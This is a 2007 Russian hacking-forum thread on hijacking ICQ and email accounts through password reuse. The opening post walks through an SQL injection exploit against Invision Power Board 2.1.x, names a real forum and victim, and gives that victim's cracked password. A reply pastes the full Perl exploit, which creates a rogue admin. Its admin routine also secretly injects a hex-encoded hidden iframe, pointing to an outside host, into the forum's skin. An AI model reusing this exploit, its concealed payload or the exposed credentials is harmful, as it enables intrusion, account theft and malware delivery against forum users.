PDA

Просмотр полной версии : ещё один способ угона Icq


BizzyD
25.07.2007, 22:03
Решил выложить свои соображения по угону асек, мыл ну и т.д.

Большинство пользователей используют один пароль на всё: асю, мыло, форум и т.д.

Самое простое, я считаю, это угон через форум!


Для угона нам потребуется:

а) уязвимый форум возьмём на примере IPB
б) установленный ActivePerl для работы сплойта
в) сплойт ipb216gui от RST для добычи хэшей, соли и мыла
г) программа PasswordsPro для расшифровки паролей
д) немного времени


Ищем форум! гугл в помощь...

в гугле набираем Powered by Invision Power Board v2.1.* (*-от 0 до 6, сплойт работает с этими версиями)

Названия форумов подстовляем в сплойт в строку Path to forum index и жмём 'Test forum vulnerability' если форум уязвим, то появится окно с красной надписью 'Forum Vulnerable' если же нет тот зелёная надпись...

Возьмём к примеру форум: http://in-versia.ru/forum/index.php

Форум уязвим...

В меню 'Get data from table' выбираем 'members_converge'

Теперь ищём юзера с красивой асей в разделе 'Пользователи'

Я выбрал юзера 'Kvorelь' у него в инфе прописана ася: 5577273

его id - 840

840 ставим в поле 'User ID'

Для начала получим его мыло: в меню 'Get data from column' выбираем 'converge_mail' и жмём 'Get data from database' получаем мыло.

Вполне возможно, что пароль от форума подойдёт и к мылу.

Добудем хэш и соль.
Так же в меню 'Get data from column' выбираем 'converge_pass_hash' для хэша и 'converge_pass_salt' для соли.

Теперь хэш надо расшифровать. Юзаем прогу PasswordsPro.
Пароль: warcraft


Мне повезло и в данном случае пароль подошёл и к почте и к асе.

так же возможно, что этот чел юзает такой же паролик и на всё остальное...

Таким способом я угнал себе шестизнак, кучу мыл, на ящиках видел пару счетов еголд, кучу паролей от других форумов и сайтов..

Feshh
25.07.2007, 22:04
боян! 100 раз описывалось!

n1†R0x
25.07.2007, 22:07
так-то можно базу любого форума угнать, попарсить там мускуль, чтобы вся инфа была в виде
ид:ник:хэш:ася
и закинуть в PasswordsPro
у части юзеров пароли одинаковые будут...

Cawabunga
25.07.2007, 22:53
Мля чё за тупизм! это уже где то 10 статья :)))

FeraS
25.07.2007, 23:13
Врятли у кого-то пасс с аськи, типа ^%HgfD38, будет стоять на каком-нибудь форуме.
А если думать, что на мыло и форум одинаковый пасс, то это мыло еще надо найти, т.е. подразумевается, что мыло - примак, что еще больше затрудняет угон..

BizzyD
25.07.2007, 23:15
Врятли у кого-то пасс с аськи, типа ^%HgfD38, будет стоять на каком-нибудь форуме.
А если думать, что на мыло и форум одинаковый пасс, то это мыло еще надо найти, т.е. подразумевается, что мыло - примак, что еще больше затрудняет угон..
у меня на 6 знаке стоял вообще пароль из 5 или 6 цифр... а примак можно в миранде главный адрес изменить и на него восстановить пароль просто

_eXe_
25.07.2007, 23:31
И какие аси ты наловиш на бажных форумах???

BizzyD
25.07.2007, 23:32
И какие аси ты наловиш на бажных форумах???
ну а эт как повезёт

spawn89
25.07.2007, 23:35
я так с бажной "воблы" взял себе 8* зеркалочку с примаком.. хотя там дохрена всего еще осталось..
едит
хотя памому я ошибся это была не вобла и бб двиг..

BizzyD
25.07.2007, 23:36
я так с бажной "воблы" взял себе 8* зеркалочку с примаком.. хотя там дохрена всего еще осталось..

я себе и 7 знаки неплохие находил! много хэшей ещё не расшифрованых.. х.з. чё за пароли там... но они к 6 знакам

Connor
25.07.2007, 23:36
Способ не новость, да и смысла особого не вижу

bulbazaur
26.07.2007, 02:57
где-бы еще скачать сплойт...
о, нашел :)

The_HuliGun
26.07.2007, 16:21
Мда, что перебирать тучу пользователей на бажном форуме в поисках шохи, легче переписать сплоит, чтобы он искал только юзеров з шестизначным уином.

Cawabunga
26.07.2007, 17:54
я вабще этим не пользуюсь не для этого форум создовал! и вабще я чёта неверю что любой чел с ачата будет один и тот же пасс ставить на свой уин и на какойнить левый форум!

spawn89
26.07.2007, 18:05
я вабще этим не пользуюсь не для этого форум создовал! и вабще я чёта неверю что любой чел с ачата будет один и тот же пасс ставить на свой уин и на какойнить левый форум!
у тебя со зрением все хорошо?? мы разве тут говорили про ачатовцев и конкретно их аси?? в инете разве только один форум - античат??

DeBugger
26.07.2007, 18:26
Я подобное делал с phpBB. В одну семёру вошёл по хэшу (благо они не солёные =)).

GreenBear
26.07.2007, 18:30
берите инвизы хотя бы, брать асику номера ради полбакса, которыми люди пользуются - низко и подло.

BizzyD
26.07.2007, 19:30
берите инвизы хотя бы, брать асику номера ради полбакса, которыми люди пользуются - низко и подло.
а никто не говорит брать некрасивые номерки! надо выбирать

GreenBear
26.07.2007, 19:44
ты что дурак?

BizzyD
26.07.2007, 19:49
ты что дурак?
эт ещё почему

Connor
26.07.2007, 19:49
а никто не говорит брать некрасивые номерки! надо выбирать
При чем тут красивые или не красивые? Тебе говорят за визы и инвизы. Что такое для тебя красивый номерок? Как тот что был представлен выше? Кривота + виз, время на ветер + украсть у человека его номерок. Так в чем смысл? Новый вид рaзвлечения, я хакер, я ломаю? =/ Тема безсмысленна imho

BizzyD
26.07.2007, 19:51
При чем тут красивые или не красивые? Тебе говорят за визы и инвизы. Что такое для тебя красивый номерок? Как тот что был представлен выше? Кривота + виз, время на ветер + украсть у человека его номерок. Так в чем смысл? Новый вид рaзвлечения, я хакер, я ломаю? =/ Тема безсмысленна imho

ну лады.... бессмысленна так бессмысленна

Basurman
26.07.2007, 19:57
Я вот только вот чего не пойму.
В разделе "Статьи" за такое по +10 дают. А тут -9
Не в том дело, что, как и сколько "угонять". Дело в другом. Если такие способы пишут - значит они имеют место быть... А другим урок на будущее: читайте е-мое, и на чужих ошибках учитесь.

Я уж не говорю про статьи на xakep. То, что они пишут, абсолютно не значит того, что они полные подонки и отморозки. Айяйяй какой нехороший... Форум поломал. Украл 1000 WMZ. Форумы троянить имхо хуже чем тырить аськи. Он же не дропнул базу...

В общем я в шоке. Вы своими постами сможете добится лишь того, что писать нихрена не будут. И никто не будет исправлять баги. Будет сидеть 1 толстож.. барыга в продаже и все

GreenBear
26.07.2007, 20:13
В разделе "Статьи" за такое по +10 дают. А тут -9
где плюс, там и минус. мне не понравилось - я поставил. мне понравится - поставлю +. все.

vvs777
26.07.2007, 20:21
Затертая тема.\
У меня не некоторых форумах пароли одинаковые. Но на аси и почту - всегда разные...
Попадаются еще люди у которых 1 пасс на все... Жаль что Win98 редко встречается =)

Fen-Omen
26.07.2007, 20:24
Вы своими постами сможете добится лишь того, что писать нихрена не будут.

Или тщательней думать, перед тем как писать....

DeBugger
26.07.2007, 21:59
Хочу добавить, что угонять кривой юзаемый номерок могут не только подлецы ради обламывания хозяина. Иногда такой номерок необходим для социнжениринга.

stalles
26.07.2007, 22:07
етот способ я юзал гдето 4 года назад!
Lol
помню снял немало красивых асек

Swimmer
28.07.2007, 14:33
помогите пожалуйста найти сплойт этот

Xack-Zero
30.07.2007, 00:36
А это каждый хешь надо по 1-2 дня расшифровывать? Я все словари перепроовал. Ни один не подошёл. Поставил полным перебором. Я вот пробил одного кидалу на бажном форуме. Знаю что он ламак (наверняка 1 пасс на всё) и хочу ему отомстить за его нехороший поступок. Вобщем хелп.

Kuca
30.07.2007, 22:12
Хочу добавить, что угонять кривой юзаемый номерок могут не только подлецы ради обламывания хозяина. Иногда такой номерок необходим для социнжениринга.
Расскажи, дорогой, как и для чего ты стырил мой номер 10-16-88. И еще несколько не менее хороших номеров. Хотя, я догадываюсь, средство угона скорее всего QIPinfinum или что-то вроде того, какой-нить троян.
Главный UIN мне все-таки удалось вернуть. Но не подлец ли угонщгик, который обнуляет контакт-лист на несколько сотен человек, среди которых почти все контакты "живые" и нужные? Я понимаю, стырить у буржуев каких-то, или инвизибл, мне не жалко, но рабочую аську, в которой полно народу, у своих же...

Basurman
30.07.2007, 22:29
А ты сам то где взял такой номер? неужто зарегил? Бред
Не хватало еще тем "Верните аську".
А может это я спер или Моссад вернул себе. Купил 1 раз - значит купишь еще раз и перестанешь ставишь убогие пароли

Kuca
30.07.2007, 22:32
А ты сам то где взял такой номер? неужто зарегил? Бред
Не хватало еще тем "Верните аську"
Ну, конечно, сам в свою очередь увел. И я не требую номер назад, что мне надо было, я смог вернуть. И уж, конечно, у русских никогда не воровал. А если кто-то номером все-таки пользовался, и старый хозяин ко мне обращался, я всегда возвращал, и контакт-листы не трогал. Просто это было свинством (очистить мой контакт-лист, который я лет 7 собирал), и я решил сказать человеку кто он.

Не надо про убогие пароли и про "вернул". Эти номера у меня с 99-2000 года. Просто нарвался на троян. И все мои номера я сам набрутил и ни у кого ничего не покупал. Да еще и раздарил добрую сотню никем не используемых шестизнаков друзьям.

Basurman
30.07.2007, 22:52
Свои эмоции на публику вываливать - как минимум неуважение к другим. Украли пароль? Сам виноват. Все, хорош оффтопить

zooomer
30.07.2007, 23:21
Оффтоп конкретный..... И статья Боян.... ну а так тебе друг походу просто заняться нечем......Ну иди тогда сплойт закинь набрути ась и выкинь их в раздачу.....
Пусть народ порадуется.... А так заниматся хней не стоит.....
Мне за это - )в репу долбили....

DeBugger
31.07.2007, 12:10
Расскажи, дорогой, как и для чего ты стырил мой номер 10-16-88. И еще несколько не менее хороших номеров. Хотя, я догадываюсь, средство угона скорее всего QIPinfinum или что-то вроде того, какой-нить троян.
Главный UIN мне все-таки удалось вернуть. Но не подлец ли угонщгик, который обнуляет контакт-лист на несколько сотен человек, среди которых почти все контакты "живые" и нужные? Я понимаю, стырить у буржуев каких-то, или инвизибл, мне не жалко, но рабочую аську, в которой полно народу, у своих же...Товарищ, это уже оффтоп. Если тебе интересно, я этот номер купил здесь, в соответствующей теме (по отзывам продавцу действительно приписывают торговлю вороваными номерами). Меня совершенно не интересует прошлое номера. Я получил его пустым без контакт-листа. Номер приглянулся лишь тем, что очень похож на прошлый семизнак. Другие номера мне не приписывай. Я хотел номерок - я выбрал. И кстати, ты не первый хозяин, кто заявляет права на номер. Был ещё один.

Извините за глубокий оффтоп.

Swimmer
31.07.2007, 14:55
ребят сплойт этот где найти или в личку киньте или сюда залейте

DeBugger
31.07.2007, 15:19
#!/usr/bin/perl

## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
## http://rst.void.ru/papers/advisory41.txt
## tested on 2.1.3, 2.1.6
##
## 08.06.06
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;

$mw = new MainWindow(title => "r57ipb216gui" );

$mw->geometry ( '420x550' ) ;
$mw->resizable(0,0);

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
$mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '')->pack();

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

$url = 'http://server/forum/index.php';
$user_id = '1';
$prefix = 'ibf_';
$table = 'members';
$column = 'member_login_key';
$new_admin_name = 'rstghc';
$new_admin_password = 'rstghc';
$new_admin_email = 'billy@microsoft.com';
$report = '';
$group = 4;
$curr_user = 0;
$rand_session = &session();
$use_custom_fields = 0;
$custom_fields = 'name1=value1,name2=value2';

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
$b2->insert("end", "members");
$b2->insert("end", "members_converge");
$b2->pack( -side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
$b->pack( -side => "top" , -anchor => 'w' );

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Label( -text => ' ')->pack();

$fleft->Label ( -text => ' ')->pack();

$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fleft->Label ( -text => ' ')->pack();
$fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');

$fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;

$fright->Label( -text => ' ')->pack();

$fright->Button(-text => 'Test forum vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&test_vuln
)->pack();

$fright->Button(-text => 'Get database tables prefix',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_prefix
)->pack();

$fright->Button(-text => 'Get data from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_data
)->pack();

$fright->Button(-text => 'Get admin session',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_admin
)->pack();

$fright->Button(-text => 'Create new admin',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&create_admin
)->pack();



$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => ' ')->pack();
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
$fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();

MainLoop();

sub update_columns()
{
$b->delete(0,"end");
if($table eq 'members'){
$column = "member_login_key";
$b->insert("end", "member_login_key");
$b->insert("end", "name");
$b->insert("end", "ip_address");
$b->insert("end", "legacy_password");
$b->insert("end", "email");
} elsif($table eq 'members_converge'){
$column = "converge_pass_hash";
$b->insert("end", "converge_pass_hash");
$b->insert("end", "converge_pass_salt");
$b->insert("end", "converge_email");
}
}

sub get_admin()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get admin session', -buttons => ["OK"]);
if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
else { $sql = ''; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
$error = 0;
$rep = '';
if($res->is_success)
{
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
else { $error = 1; }
if(!$error)
{
$rep = '';
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
else { $error = 1; }
if(!$error){
if($curr_user != 1)
{
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
}
else
{
$session_user_id = $user_id;
}
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
}
$InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
if($error)
{
$InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}

sub get_data()
{
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get data from database', -buttons => ["OK"]);
if($table eq 'members') { $id_text = 'id'; }
if($table eq 'members_converge') { $id_text = 'converge_id'; }

$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
else
{
$InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
$InfoWindow->Show();
$InfoWindow->destroy;
}
}

sub create_admin()
{
$InfoWindow=$mw->DialogBox(-title => 'create new admin', -buttons => ["OK"]);
if($session_id eq '' || $session_ip_address eq '')
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
}
elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
}
else
{
$xpl = LWP::UserAgent->new( ) or die;
($url2 = $url) =~ s/index.php/admin.php/;
$cf = '';
%fields = (
'code' => 'doadd',
'act' => 'mem',
'section' => 'content',
'name' => $new_admin_name,
'password' => $new_admin_password,
'email' => $new_admin_email,
'mgroup' => $group,
);
if($use_custom_fields)
{
@cf = split(',',$custom_fields);
foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
}

$res = $xpl->post($url2."?adsess=$session_id",
[
%fields,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$if = '0x3C646976207374796C653D225649534942494C4954593A2 068696464656E223E3C696672616D65207372633D226874747 03A2F2F7A63687873696B70677A2E62697A2F646C2F6164763 534332E706870222077696474683D31206865696768743D313 E3C2F696672616D653E3C2F6469763E';
$query = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
$res = $xpl->post($url2."?adsess=$session_id",
[
'code' => 'runsql',
'act' => 'sql',
'section' => 'admin',
'query' => $query,
],
'USER_AGENT'=>'',
'CLIENT_IP'=>"$session_ip_address",
'X_FORWARDED_FOR'=>"$session_ip_address");
$InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack;
$InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub test_vuln()
{
$InfoWindow=$mw->DialogBox(-title => 'test forum vulnerability', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}


sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /FROM (.*)sessions/)
{
$prefix = $1;
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
}
else
{
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}

sub session()
{
return 'r57ipb216_for_IDS';
}
Когда-то брал с этого форума. И не надо писать, что он кривой. Мне то что...

loka
11.09.2007, 22:44
ребя та кто может помочь стукните пожалуйста в аську